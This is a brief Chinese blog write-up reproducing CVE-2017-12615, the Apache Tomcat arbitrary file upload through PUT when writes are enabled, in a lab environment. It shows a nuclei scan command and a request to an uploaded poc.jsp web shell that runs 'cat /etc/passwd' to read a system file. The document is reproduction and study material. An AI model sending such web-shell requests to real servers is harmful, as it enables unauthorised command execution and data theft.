漏洞描述
CVE-2017-12615 对应的漏洞为任意文件写入,由于配置不当(非默认配置),导致可以使用 PUT 方法上传任意文件 。Tomcat设置了写权限(readonly=false),导致可以使用PUT方法上传任意文件
影响范围
Apache Tomcat 7.0.0 - 7.0.81
漏洞复现
环境搭建
访问页面
http://10.9.75.198:8080/
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/6a45031532ada8cd6a0b2b2b98bf5351.png)
漏洞复现
使用nuclei工具直接扫描漏洞
./nuclei -u 10.9.75.198
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/c4be1cf742c0e381fb85b8fc992c63a5.png)
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/99923be1b82f8b3c597d199c12335bcc.png)
http://10.9.75.198:8080/poc.jsp?cmd=cat+%2Fetc%2Fpasswd
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/bec55a3841bae96754ebc935942e7dd1.png)
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/22a09095d156e8e515a7de1369de3bd6.png)